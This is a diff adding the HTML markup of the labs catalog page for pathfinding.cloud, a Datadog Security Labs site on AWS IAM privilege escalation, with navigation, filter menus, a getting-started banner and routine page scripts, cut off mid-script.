+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
